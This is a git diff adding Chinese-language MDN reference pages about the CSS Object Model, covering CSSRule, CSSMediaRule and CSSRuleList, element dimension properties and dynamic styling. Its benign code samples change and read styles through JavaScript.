diff --git a/files/zh-cn/web/api/css_object_model/determining_the_dimensions_of_elements/index.html b/files/zh-cn/web/api/css_object_model/determining_the_dimensions_of_elements/index.html new file mode 100644 index 0000000000..9a9d3557a5 --- /dev/null +++ b/files/zh-cn/web/api/css_object_model/determining_the_dimensions_of_elements/index.html @@ -0,0 +1,38 @@ +--- +title: Determining the dimensions of elements +slug: Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements +tags: + - clientHeight + - height + - offsetHeight +translation_of: Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements +--- +

{{APIRef("CSSOM View")}}

+ +

当想要确认元素的宽高时有几种属性可以选择,但是我们很难确认使用哪个属性才是最适合的。本文将帮助你做出正确的选择。

+ +

元素占用了多少空间?

+ +

如果你需要知道元素总共占用了多少空间,包括可视内容、滚动条(如果有的话)、内边距和边框的宽度,你会使用  offsetWidthoffsetHeight 属性, 大多数情况下,当元素没有什么形状上的变化时,他们与 getBoundingClientRect()的宽高一致。但是如果发生变化,offsetWidth和offsetHeight将返回元素的布局宽高,而getBoundingClientRect()将返回实际渲染的宽高。例如:如果元素的宽width:100px,变化transform:scale(0.5),此时getBoundingClientRect()将返回宽50,而offsetWidth将返回宽100.

+ +

Image:Dimensions-offset.png

+ +

显示内容尺寸是多少?

+ +

如果你需要知道展示区域内容占用了多少空间,包括内边距但是不包括边框、外边距或者滚动条,你会使用clientWidthclientHeight属性:

+ +

Image:Dimensions-client.png

+ +

内容有多大?

+ +

如果你想要知道内容区域的实际大小,而不局限于可见区域的话,你会使用 scrollWidthscrollHeight属性。即使使用了滚动条仅有部分内容可见,这两个属性仍会返回元素的完整内容宽高

+ +

例如,一个300x300像素 的滚动盒子里放置了一个600x400像素的元素,scrollWidth将会返回600,scrooHeight返回400.

+ +

规范

+ +

http://www.w3.org/TR/cssom-view/

+ +

参考文献

+ +

MSDN Measuring Element Dimension and Location

diff --git a/files/zh-cn/web/api/css_object_model/index.html b/files/zh-cn/web/api/css_object_model/index.html new file mode 100644 index 0000000000..e33b7b07d8 --- /dev/null +++ b/files/zh-cn/web/api/css_object_model/index.html @@ -0,0 +1,131 @@ +--- +title: CSS Object Model +slug: Web/API/CSS_Object_Model +tags: + - API + - CSSOM + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/CSS_Object_Model +--- +

CSS Object Model 是一组允许用JavaScript操纵CSS的API。 它是继DOM和HTML API之后,又一个操纵CSS的接口,从而能够动态地读取和修改CSS样式。

+ +

API参考

+ +
+ +
+ +

CSSOM相关规范也扩展了其他几个接口:

+ +

{{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.

+ +

教程

+ + + +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范进度评价
{{SpecName("CSSOM")}}{{Spec2("CSSOM")}}
{{SpecName("CSSOM View")}}{{Spec2("CSSOM View")}}
{{SpecName("Screen Orientation")}}{{Spec2("Screen Orientation")}}
{{SpecName("CSS3 Fonts")}}{{Spec2("CSS3 Fonts")}}
{{SpecName("CSS3 Animations")}}{{Spec2("CSS3 Animations")}}
{{SpecName("CSS3 Transitions")}}{{Spec2("CSS3 Transitions")}}
{{SpecName("CSS3 Variables")}}{{Spec2("CSS3 Variables")}}
{{SpecName("CSS3 Conditional")}}{{Spec2("CSS3 Conditional")}}
{{SpecName("CSS3 Device")}}{{Spec2("CSS3 Device")}}
{{SpecName("CSS3 Counter Styles")}}{{Spec2("CSS3 Counter Styles")}}
+ +

浏览器兼容性

+ +

近几年所有的这些新特性正在一点一点的向不同的浏览器内添加,不过这确实是一个很复杂无法用简单表格总结的过程。如果具体项目中需要用到,请详细的检查接口的可用性。

diff --git a/files/zh-cn/web/api/css_object_model/using_dynamic_styling_information/index.html b/files/zh-cn/web/api/css_object_model/using_dynamic_styling_information/index.html new file mode 100644 index 0000000000..7c2fffa8be --- /dev/null +++ b/files/zh-cn/web/api/css_object_model/using_dynamic_styling_information/index.html @@ -0,0 +1,141 @@ +--- +title: 关于使用动态样式的信息 +slug: Web/API/CSS_Object_Model/Using_dynamic_styling_information +tags: + - API + - CSSOM + - 初学者 + - 指南 +translation_of: Web/API/CSS_Object_Model/Using_dynamic_styling_information +--- +
{{DefaultAPISidebar("CSSOM")}}
+ +

CSS 对象模型(CSSOM),是 DOM 的一部分,通过暴露一些接口,允许操作很多与 CSS 相关的信息。最初定义在 DOM Level 2 Style 提议中,现在,这些接口形成了一个规范,CSS对象模型(CSSOM),旨在取代它。

+ +

在很多情况下,如果可能的话,通过 {{ domxref("element.className", "className") }} 属性来动态操作元素类名确实是最好的方式,因为所有的样式钩子的最终外观都可以在一个样式表中控制。这样写出的 JavaScript 代码也会变得更清晰,因为它不专注与样式相关的细节,而是专注于所创作或者操作的每一部分的整体语义,将精细的样式细节留给样式表。然而实际上也有以一些获取或者操作样式规则有用的情况(无论是对于正样式包还是的那个元素),将在下面进一步详细描述。同样应该注意,同操作单独元素的样式一样,当说到操作样式表的时候,并不是真的操作实际的物理文档,而仅仅是文档的内部表示。

+ +

基本样式对象公开了 {{domxref("Stylesheet")}} 和 {{domxref("CSSStylesheet")}} 接口。这些接口包括 insertRuleselectorText 以及 parentStyleSheet 等成员,用于获取和操作组成 CSS 样式表的各个规则。

+ +

要从 document 中获取 style 对象,可以使用 {{domxref("document.styleSheets")}} 属性,并使用索引来获取某个对象(例如, document.styleSheets[0] 是该文档中的第一个样式表)。

+ +

通过 CSSOM 修改样式表

+ +
<html>
+<head>
+<title>Modifying a stylesheet rule with CSSOM</title>
+<style type="text/css">
+body {
+ background-color: red;
+}
+</style>
+<script type="text/javascript">
+var stylesheet = document.styleSheets[1];
+stylesheet.cssRules[0].style.backgroundColor="blue";
+</script>
+</head>
+<body>
+The stylesheet declaration for the body's background color is modified via JavaScript.
+</body>
+</html>
+ +

{{ EmbedLiveSample('Modify_a_stylesheet_rule') }}

+ +

 DOM CSS Properties List 中给出了 DOM 中 style 属性的可用属性列表。

+ +

若要使用 CSS 语法修改文档的样式,可以插入样式规则,或者插入{{HTMLElement("style")}} 标签,并将其 innerHTML 属性设置为期望的 CSS。

+ +

修改元素样式

+ +

 元素的 {{domxref("HTMLElement.style", "style")}} 属性(见下面的 DOM 样式对象部分)也可以用于获取和设置元素的样式。然而,该属性只能返回通过内敛方式设置的样式属性(例如 <td style="background-color: lightblue"> 返回 "background-color:lightblue",或者直接针对哪个元素使用  element.style.propertyName, 即使样式表中还有该元素上的其他样式)。

+ +

此外,当你在元素上设置某个属性的时候,你会覆盖并擦除掉别处为该元素的这个属性设置的值。以设置 border 属性为例,将覆盖掉在 <head> 部分或者外部样式表设置的该元素的 border 属性。然而这并不会影响元素的其他属性,例如 padding、margin 或 font等。

+ +

要修改特定元素的样式,可以将以下示例修改为你想要的样式。

+ +
<html>
+<head>
+<title>simple style example</title>
+
+<script type="text/javascript">
+
+function alterStyle(elem) {
+  elem.style.background = 'green';
+}
+
+function resetStyle(elemId) {
+  elem = document.getElementById(elemId);
+  elem.style.background = 'white';
+}
+</script>
+
+<style type="text/css">
+#p1 {
+  border: solid blue 2px;
+}
+</style>
+</head>
+
+<body>
+
+<!-- passes a reference to the element's object as parameter 'this'. -->
+<p id="p1" onclick="alterStyle(this);">
+ Click here to change background color.
+</p>
+
+<!-- passes the 'p1' id of another element's style to modify. -->
+<button onclick="resetStyle('p1');">Reset background color</button>
+
+</body>
+</html>
+
+ +

{{ EmbedLiveSample('Modify_an_element_style') }}

+ +

document.defaultView 对象的 {{domxref("window.getComputedStyle", "getComputedStyle()")}} 返回某个元素的所有经过计算的样式. 查看Example 6: getComputedStyle 示例章节了解更多使用该方法的信息。.

+ +

DOM样式对象

+ +

style 对象表示了一个单独的样式声明。不像document.styleSheets 集合中每个单独的样式规则,样式规则是通过 document 对象或者应用改样式的元素来访问的. 它表示特定元素的内联样式。

+ +

比这两个属性更重要的是使用 style 对象来给某个元素设置单独的样式属性。

+ +
+
<!DOCTYPE html>
+<html>
+ <head>
+  <title>style Property Example</title>
+  <link rel="StyleSheet" href="example.css" type="text/css">
+  <script type="text/javascript">
+    function stilo() {
+      document.getElementById('d').style.color = 'orange';
+    }
+    function resetStyle() {
+      document.getElementById('d').style.color = 'black';
+    }
+  </script>
+ </head>
+
+ <body>
+  <div id="d" class="thunder">Thunder</div>
+  <button onclick="stilo()">Click here to change text color</button>
+  <button onclick="resetStyle()">Reset text color</button>
+ </body>
+</html>
+
+
+ +

{{ EmbedLiveSample('DOM_Style_Object_code_sample') }}

+ +

style的 media 和type 给不给出都可以。

+ +

使用 setAttribute 方法

+ +

注意,你也可以通过获得元素的引用,然后使用它的 setAttribute 方法,指定CSS属性和值,来改变该元素的样式。

+ +
var el = document.getElementById('some-element');
+el.setAttribute('style', 'background-color:darkblue;');
+
+ + + +

但请注意,setAttribute 会移除该元素样式对象中已经定义的其他样式属性。如果上面的 some-element 有一个行内样式属性:style="font-size: 18px",其值将会因为使用了 setAttribute 方法而被移除。

diff --git a/files/zh-cn/web/api/cssconditionrule/index.html b/files/zh-cn/web/api/cssconditionrule/index.html new file mode 100644 index 0000000000..4ead8b26d9 --- /dev/null +++ b/files/zh-cn/web/api/cssconditionrule/index.html @@ -0,0 +1,67 @@ +--- +title: CSSConditionRule +slug: Web/API/CSSConditionRule +translation_of: Web/API/CSSConditionRule +--- +

{{ APIRef("CSSOM") }}

+ +

 

+ +

 

+ +

CSSConditionRule 对象表示单个条件 CSS 规则, 由条件和语句块组成。继承至 {{domxref("CSSGroupingRule")}}.

+ +

从它派生的两个对象 : {{domxref("CSSMediaRule")}} and {{domxref("CSSSupportsRule")}}.

+ +

Syntax

+ +

The syntax is described using the WebIDL format.

+ +
interface CSSConditionRule : CSSGroupingRule {
+    attribute DOMString conditionText;
+}
+
+ +

Properties

+ +

The CSSConditionRule derives from {{domxref("CSSRule")}}, {{domxref("CSSGroupingRule")}} and inherits all properties of these classes. It has one specific property:

+ +
+
{{domxref("CSSConditionRule.conditionText")}}
+
Represents the text of the condition of the rule.
+
+ +

Methods

+ +

The CSSConditionRule derives from {{domxref("CSSRule")}}, {{domxref("CSSGroupingRule")}} and inherits all methods of these classes. It has no specific property of its own.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Conditional', '#the-cssconditionrule-interface', 'CSSConditionRule') }}{{ Spec2('CSS3 Conditional') }}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.CSSConditionRule")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/cssgroupingrule/index.html b/files/zh-cn/web/api/cssgroupingrule/index.html new file mode 100644 index 0000000000..a77564e2e2 --- /dev/null +++ b/files/zh-cn/web/api/cssgroupingrule/index.html @@ -0,0 +1,82 @@ +--- +title: CSSGroupingRule +slug: Web/API/CSSGroupingRule +tags: + - API + - CSSOM + - 参考 + - 接口 +translation_of: Web/API/CSSGroupingRule +--- +

{{ APIRef("CSSOM") }}

+ +

任何实现了 CSSGroupingRule 接口的对象表示任何可以包含或嵌套其他规则的的 CSS @ 规则。

+ +

从其派生的对象:

+ + + +

语法

+ +

The syntax is described using the WebIDL format.

+ +
interface CSSGroupingRule : CSSRule {
+    readonly attribute CSSRuleList cssRules;
+    unsigned long insertRule (DOMString rule, unsigned long index);
+    void deleteRule (unsigned long index);
+}
+
+ +

所有 CSSGroupingRule 实例共有的属性

+ +

The CSSGroupingRule derives from {{domxref("CSSRule")}} and inherits all properties of this class. It has one specific property:

+ +
+
{{domxref("CSSGroupingRule.cssRules")}} {{readonlyinline}}
+
Returns a {{domxref("CSSRuleList")}} of the CSS rules in the media rule.
+
+ +

所有 CSSGroupingRule 实例共有的方法

+ +

The CSSGroupingRule derives from {{domxref("CSSRule")}} and inherits all methods of this class. It has two specific methods:

+ +
+
{{domxref("CSSGroupingRule.deleteRule")}}
+
Deletes a rule from the style sheet.
+
{{domxref("CSSGroupingRule.insertRule")}}
+
Inserts a new style rule into the current style sheet.
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{ SpecName('CSS3 Conditional', '#the-cssgroupingrule-interface', 'CSSGroupingRule') }}{{ Spec2('CSS3 Conditional') }}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSGroupingRule")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cssmathsum/index.html b/files/zh-cn/web/api/cssmathsum/index.html new file mode 100644 index 0000000000..727c7dbc6b --- /dev/null +++ b/files/zh-cn/web/api/cssmathsum/index.html @@ -0,0 +1,63 @@ +--- +title: CSSMathSum +slug: Web/API/CSSMathSum +tags: + - API + - CSS Typed Object Model API + - CSSMathSum + - Experimental + - Houdini + - Interface + - Reference +translation_of: Web/API/CSSMathSum +--- +
{{draft}}{{APIRef("CSS Typed Object Model API")}}{{SeeCompatTable}}
+ +

 {{domxref('CSS Typed Object Model API','','',' ')}} 的  CSSMathSum 接口通过调用{{domxref('CSSNumericValue')}} 的 {{domxref('CSSNumericValue.add','add()')}}, {{domxref('CSSNumericValue.sub','sub()')}}, 或 {{domxref('CSSNumericValue.toSum','toSum()')}} 方法获得结果。

+ +

+ +

创建

+ +
+
{{domxref("CSSMathSum.CSSMathSum()")}}
+
创建一个新的 CSSMathSum 对象.
+
+ +

属性

+ +
+
{{domxref('CSSMathSum.values')}}
+
返回一个包含一个或多个 {{domxref('CSSNumericValue')}} 对象的 {{domxref('CSSNumericArray')}} 对象.
+
+ +

事件处理

+ +

No

+ +

方法

+ +

None.

+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('CSS Typed OM','#cssmathsum','CSSMathSum')}}{{Spec2('CSS Typed OM')}}初稿.
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSMathSum")}}

diff --git a/files/zh-cn/web/api/cssmatrix/index.html b/files/zh-cn/web/api/cssmatrix/index.html new file mode 100644 index 0000000000..ac8fdffc76 --- /dev/null +++ b/files/zh-cn/web/api/cssmatrix/index.html @@ -0,0 +1,93 @@ +--- +title: CSSMatrix +slug: Web/API/CSSMatrix +translation_of: Web/API/DOMMatrix +--- +
{{APIRef("CSSOM")}}{{Non-standard_header}}
+ +

CSSMatrix 代表可以用于2D或3D变换的4x4齐次矩阵。据说这个类曾经是 CSS Transitions Module Level 3 的一部分,但在现在的工作草案里不存在 。请使用  DOMMatrix

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Compat', '#webkitcssmatrix-interface', 'WebKitCSSMatrix')}}{{Spec2('Compat')}}Initial standardization of the WebKit-prefixed version, WebKitCSSMatrix.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}10[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}11[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
+
+ +

[1] Internet Explorer 将此 API实现为MSCSSMatrix。在版本11中,加入了别名WebKitCSSMatrix

+ +

[2] WebKit 将此 API实现为WebKitCSSMatrix

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/cssmediarule/index.html b/files/zh-cn/web/api/cssmediarule/index.html new file mode 100644 index 0000000000..01f7912bca --- /dev/null +++ b/files/zh-cn/web/api/cssmediarule/index.html @@ -0,0 +1,70 @@ +--- +title: CSSMediaRule +slug: Web/API/CSSMediaRule +tags: + - API + - CSSOM + - 参考 + - 接口 +translation_of: Web/API/CSSMediaRule +--- +
{{ APIRef("CSSOM") }}
+ +

CSSMediaRule 是一个表示单个CSS {{cssxref("@media")}} 规则的接口。它实现了 {{domxref("CSSConditionRule")}} 接口,因此也是 {{domxref("CSSGroupingRule")}},也相当于{{domxref("CSSRule")}}中类型值为 4 的规则类型(即CSSRule.MEDIA_RULE)。

+ +

语法

+ +

下列语法是使用 WebIDL 格式描述的。

+ +
interface CSSMediaRule : CSSConditionRule {
+    readonly attribute MediaList media;
+}
+
+ +

属性

+ +

作为一个 {{ domxref("CSSConditionRule") }},同时也是 {{domxref("CSSGroupingRule")}} 和 {{ domxref("CSSRule") }},CSSMediaRule 也实现(继承)了来自这些接口的属性。它还有如下属性:

+ +
+
{{domxref("CSSMediaRule.media")}} {{readonlyinline}}
+
声明了一个 {{domxref("MediaList")}},表示指定目标媒体中的样式信息。
+
+ +

方法

+ +

作为一个 {{ domxref("CSSConditionRule") }},同时也是 {{domxref("CSSGroupingRule")}} 和 {{ domxref("CSSRule") }},CSSMediaRule 也实现(继承)了来自这些接口的方法。除此之外,没有其他方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{ SpecName('CSS3 Conditional', '#the-cssmediarule-interface', 'CSSMediaRule') }}{{ Spec2('CSS3 Conditional')}}Make it derived from the {{domxref("CSSConditionRule")}}.
{{ SpecName('CSSOM', '#the-cssmediarule-interface', 'CSSMediaRule') }}{{ Spec2('CSSOM') }}No changes from {{SpecName('DOM2 Style')}}
{{SpecName('DOM2 Style', 'css.html#CSS-CSSMediaRule', 'CSSMediaRule') }}{{ Spec2('DOM2 Style') }}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSMediaRule")}}

diff --git a/files/zh-cn/web/api/cssrule/csstext/index.html b/files/zh-cn/web/api/cssrule/csstext/index.html new file mode 100644 index 0000000000..6f83ef0b53 --- /dev/null +++ b/files/zh-cn/web/api/cssrule/csstext/index.html @@ -0,0 +1,37 @@ +--- +title: CSSRule.cssText +slug: Web/API/CSSRule/cssText +translation_of: Web/API/CSSRule/cssText +--- +
+
{{ APIRef("CSSOM") }}
+
+ +
 
+ +
概述
+ +

cssText 返回样式规则所包含的实际文本.想要能够动态的设置一个样式表规则,查看使用动态样式信息.

+ +

语法

+ +
string = cssRule.cssText
+
+ +

例子

+ +
<style>
+body { background-color: darkblue; }
+</style>
+<script>
+  var stylesheet = document.styleSheets[0];
+  alert(stylesheet.cssRules[0].cssText); // body { background-color: darkblue; }
+</script>
+
+
+ +

规范

+ + diff --git a/files/zh-cn/web/api/cssrule/index.html b/files/zh-cn/web/api/cssrule/index.html new file mode 100644 index 0000000000..184e25376b --- /dev/null +++ b/files/zh-cn/web/api/cssrule/index.html @@ -0,0 +1,234 @@ +--- +title: CSSRule +slug: Web/API/CSSRule +tags: + - API + - CSSOM + - 参考 + - 接口 +translation_of: Web/API/CSSRule +--- +
{{APIRef("CSSOM")}}
+ +

CSSRule 接口表示一条 CSS 规则。有几种不同的规则类型,在下面的{{anch("类型常量")}}部分中有悉数列出。

+ +

CSSRule 接口指定了所有类型的规则的公共属性,而特定类型的规则的专有属性则在这些规则各自类型的、更专用的接口中被指定。

+ +

可以通过 {{domxref("CSSStyleSheet")}} 的 cssRules 列表了解更多关于 CSSRule 的介绍。

+ +

所有 CSSRule 实例共有的属性

+ +
+
{{domxref("CSSRule.cssText")}}
+
返回规则的文本表示. 例如 "h1,h2 { font-size: 16pt }"
+
{{domxref("CSSRule.parentRule")}} {{readonlyinline}}
+
返回包含规则,否则返回 null。例如:如果此规则是 {{cssxref("@media")}} 块中的样式规则, 则其父规则将是该 {{domxref("CSSMediaRule")}}。
+
{{domxref("CSSRule.parentStyleSheet")}} {{readonlyinline}}
+
返回包含此规则的样式表的 {{domxref("CSSStyleSheet")}} 对象。
+
{{domxref("CSSRule.type")}} {{readonlyinline}}
+
规则类型,表示 CSS 规则类型 {{anch("类型常量")}} 中的一种类型。
+
+ +

常量

+ +

类型常量

+ +

CSSRule接口通过一系列整型常量来约束CSSRule的{{domxref("cssRule/type","type")}}取值范围,同时这些常量也对应规则的具体实现接口。这些常量和接口的对应关系如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
类型对应接口备注与示例
CSSRule.STYLE_RULE1{{domxref("CSSStyleRule")}}最常见的一种规则。
+ selector { prop1: val1; prop2: val2; }
CSSRule.IMPORT_RULE3{{domxref("CSSImportRule")}}一条 {{cssxref("@import")}} 规则。(Until the documentation is completed, see the interface definition in the Mozilla source code: nsIDOMCSSImportRule.)
CSSRule.MEDIA_RULE4{{domxref("CSSMediaRule")}}
CSSRule.FONT_FACE_RULE5{{domxref("CSSFontFaceRule")}}
CSSRule.PAGE_RULE6{{domxref("CSSPageRule")}}
CSSRule.KEYFRAMES_RULE7{{domxref("CSSKeyframesRule")}} {{experimental_inline}}
CSSRule.KEYFRAME_RULE8{{domxref("CSSKeyframeRule")}} {{experimental_inline}}
Reserved for future use9应当会在将来被用于定义颜色配置
CSSRule.NAMESPACE_RULE10{{domxref("CSSNamespaceRule")}} {{experimental_inline}}
CSSRule.COUNTER_STYLE_RULE11{{domxref("CSSCounterStyleRule")}} {{experimental_inline}}
CSSRule.SUPPORTS_RULE12{{domxref("CSSSupportsRule")}}
CSSRule.DOCUMENT_RULE13{{domxref("CSSDocumentRule")}} {{experimental_inline}}
CSSRule.FONT_FEATURE_VALUES_RULE14{{domxref("CSSFontFeatureValuesRule")}}
CSSRule.VIEWPORT_RULE15{{domxref("CSSViewportRule")}} {{experimental_inline}}
CSSRule.REGION_STYLE_RULE16{{domxref("CSSRegionStyleRule")}} {{experimental_inline}}
CSSRule.UNKNOWN_RULE0{{domxref("CSSUnknownRule")}} {{obsolete_inline}}
CSSRule.CHARSET_RULE2CSSCharsetRule {{obsolete_inline}}(已在大多数浏览器中被移除)
+ +

An up-to-date informal list of constants can be found on the CSSWG Wiki.

+ +

语法

+ +

使用 WebIDL 语法格式进行描述。

+ +
interface CSSRule {
+    const unsigned short STYLE_RULE = 1;
+    const unsigned short CHARSET_RULE = 2;
+    const unsigned short IMPORT_RULE = 3;
+    const unsigned short MEDIA_RULE = 4;
+    const unsigned short FONT_FACE_RULE = 5;
+    const unsigned short PAGE_RULE = 6;
+    const unsigned short KEYFRAMES_RULE = 7;
+    const unsigned short KEYFRAME_RULE = 8;
+    const unsigned short NAMESPACE_RULE = 10;
+    const unsigned short COUNTER_STYLE_RULE = 11;
+    const unsigned short SUPPORTS_RULE = 12;
+    const unsigned short DOCUMENT_RULE = 13;
+    const unsigned short FONT_FEATURE_VALUES_RULE = 14;
+    const unsigned short VIEWPORT_RULE = 15;
+    const unsigned short REGION_STYLE_RULE = 16;
+    readonly attribute unsigned short type;
+    attribute DOMString cssText;
+    readonly attribute CSSRule? parentRule;
+    readonly attribute CSSStyleSheet? parentStyleSheet;
+};
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('CSSOM', '#css-rules', 'CSSRule')}}{{Spec2('CSSOM')}}Obsoleted values CHARSET_RULE and UNKNOWN_RULE. Added value NAMESPACE_RULE.
{{SpecName("CSS3 Animations",'#interface-cssrule', 'CSSRule')}}{{Spec2('CSS3 Animations')}}Added values KEYFRAMES_RULE and KEYFRAME_RULE.
{{SpecName('CSS4 Fonts', '#om-fontfeaturevalues', 'CSSRule')}}{{Spec2('CSS4 Fonts')}}Added value FONT_FEATURE_VALUES_RULE.
{{SpecName("CSS3 Counter Styles", "#extentions-to-cssrule-interface", 'CSSRule')}}{{Spec2("CSS3 Counter Styles")}}Added value COUNTER_STYLE_RULE.
{{SpecName("CSS3 Conditional", '#extentions-to-cssrule-interface', 'CSSRule')}}{{Spec2('CSS3 Conditional')}}Added value SUPPORTS_RULE. (DOCUMENT_RULE has been pushed to CSS Conditional Rules Level 4)
{{SpecName('DOM2 Style', 'css.html#CSS-CSSRule', 'CSSRule')}}{{Spec2('DOM2 Style')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSRule")}}

+ +

相关

+ + diff --git a/files/zh-cn/web/api/cssrule/parentstylesheet/index.html b/files/zh-cn/web/api/cssrule/parentstylesheet/index.html new file mode 100644 index 0000000000..a630c0d29d --- /dev/null +++ b/files/zh-cn/web/api/cssrule/parentstylesheet/index.html @@ -0,0 +1,36 @@ +--- +title: CSSRule.parentStyleSheet +slug: Web/API/CSSRule/parentStyleSheet +translation_of: Web/API/CSSRule/parentStyleSheet +--- +

{{ APIRef("CSSOM") }}

+ +

概述

+ +

parentStyleSheet 返回在当前规则中已定义的样式表对象。

+ +

语法

+ +
stylesheet = cssRule.parentStyleSheet
+
+ +

参数

+ + + +

例子

+ +
if ( bgRule.parentStyleSheet != mySheet ) {
+   // alien style rule!
+}
+
+ +

备注

+ +

查看 Gecko DOM Reference:event#DOM_styleSheet_Object 有关样式表的对象接口的详细信息。

+ +

规范

+ +

DOM Level 2 Style - cssRule

diff --git a/files/zh-cn/web/api/cssrulelist/index.html b/files/zh-cn/web/api/cssrulelist/index.html new file mode 100644 index 0000000000..75ea4134e4 --- /dev/null +++ b/files/zh-cn/web/api/cssrulelist/index.html @@ -0,0 +1,67 @@ +--- +title: CSSRuleList +slug: Web/API/CSSRuleList +tags: + - API + - CSSOM + - 参考 + - 接口 +translation_of: Web/API/CSSRuleList +--- +

{{ APIRef("CSSOM") }}

+ +

CSS 规则列表 CSSRuleList 是一个(只允许间接更改的)类数组对象,包含着一个 CSSRule 对象的有序集合。

+ +

描述

+ +

CSS 规则列表内的每一条 CSSRule 都可以通过 rules.item(index),或者更简单的 rules[index] 的形式访问。这里的 rules 是一个实现了 CSSRuleList 接口的对象(例如 {{domxref("CSSStylesheet","","",1)}}.cssRules),而 index 是一个从 0 开始的、规则的位置索引,通过它获取规则时,顺序与 CSS 样式表中的顺序是一致的。规则对象的个数是 rules.length

+ +

注意,因为只能间接更改可更改,但是其本身只拥有读取方法),无法直接往规则列表中添加或移除规则,只能通过它的父样式表进行更改。事实上,{{domxref("CSSStyleSheet.insertRule",".insertRule()")}} 和 {{domxref("CSSStyleSheet.deleteRule",".deleteRule()")}} 甚至都不是 CSSRuleList 的方法,而是 {{domxref("CSSStyleSheet")}} 的。如果,处于一些原因,出现了一个没有父样式表 或者说不属于任何样式表的规则列表(可能是另一个规则列表的拷贝),那么,既不能将它分配到某个样式表下(因为没有适用的属性),它也不能被分配给任何一个样式表(因为 stylesheet.cssRules只读属性),就只能通过遍历方法,将它一条规则一条规则地插入已有的样式表中。

+ +

示例

+ +
// 得到文档中第一个 CSS 样式表中的第一条规则
+var first_rule = document.styleSheets[0].cssRules[0];
+
+ +

参见

+ + + +

CSSRuleList 的实现

+ +

在 CSS 对象模型 CSSOM 中,有多个属性的返回值是一个 CSSRuleList。它们分别是:

+ + + +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('CSSOM', '#the-cssrulelist-interface', 'CSSRuleList')}}{{Spec2('CSSOM')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSRuleList")}}

diff --git a/files/zh-cn/web/api/cssstyledeclaration/getpropertycssvalue/index.html b/files/zh-cn/web/api/cssstyledeclaration/getpropertycssvalue/index.html new file mode 100644 index 0000000000..732ae8229c --- /dev/null +++ b/files/zh-cn/web/api/cssstyledeclaration/getpropertycssvalue/index.html @@ -0,0 +1,61 @@ +--- +title: CSSStyleDeclaration.getPropertyCSSValue() +slug: Web/API/CSSStyleDeclaration/getPropertyCSSValue +tags: + - CSSOM + - Obsolete + - Reference +translation_of: Web/API/CSSStyleDeclaration/getPropertyCSSValue +--- +

{{ APIRef("CSSOM") }} {{Obsolete_header}}

+ +

CSSStyleDeclaration.getPropertyCSSValue() 方法接口返回一个{{domxref('CSSValue')}} 包含一个属性的CSS值。请注意,如果属性名称是速记属性,则返回null。

+ +

现在你应该使用 {{domxref("CSSStyleDeclaration.getPropertyValue()")}}。

+ +

语法

+ +
let value = style.getPropertyCSSValue(property);
+ +

参数

+ + + +

返回值

+ + + +

示例

+ +

The following JavaScript code gets an object containing the computed RGB values of the color CSS property:

+ +
var style = window.getComputedStyle(elem, null);
+var rgbObj = style.getPropertyCSSValue('color').getRGBColorValue();
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}{{Spec2('DOM2 Style')}}Declared as obsolete in July 2003.
+ +

浏览器兼容性

+ +

{{Compat("api.CSSStyleDeclaration.getPropertyCSSValue")}}

diff --git a/files/zh-cn/web/api/cssstyledeclaration/getpropertypriority/index.html b/files/zh-cn/web/api/cssstyledeclaration/getpropertypriority/index.html new file mode 100644 index 0000000000..a2881f7aa9 --- /dev/null +++ b/files/zh-cn/web/api/cssstyledeclaration/getpropertypriority/index.html @@ -0,0 +1,119 @@ +--- +title: CSSStyleDeclaration.getPropertyPriority() +slug: Web/API/CSSStyleDeclaration/getPropertyPriority +tags: + - API + - CSSDOM + - Method + - Reference +translation_of: Web/API/CSSStyleDeclaration/getPropertyPriority +--- +

{{ APIRef("CSSOM") }}

+ +

CSSStyleDeclaration.getPropertyPriority() 方法会根据传入的CSS属性,返回一个 {{domxref('DOMString')}} 来表示该属性的优先级。

+ +

Syntax

+ +
var priority = style.getPropertyPriority(property);
+ +

参数

+ + + +

返回值

+ + + +

例子

+ +

下面的代码检查了margin,在CSS规则中是否被设置为 important 优先级。

+ +
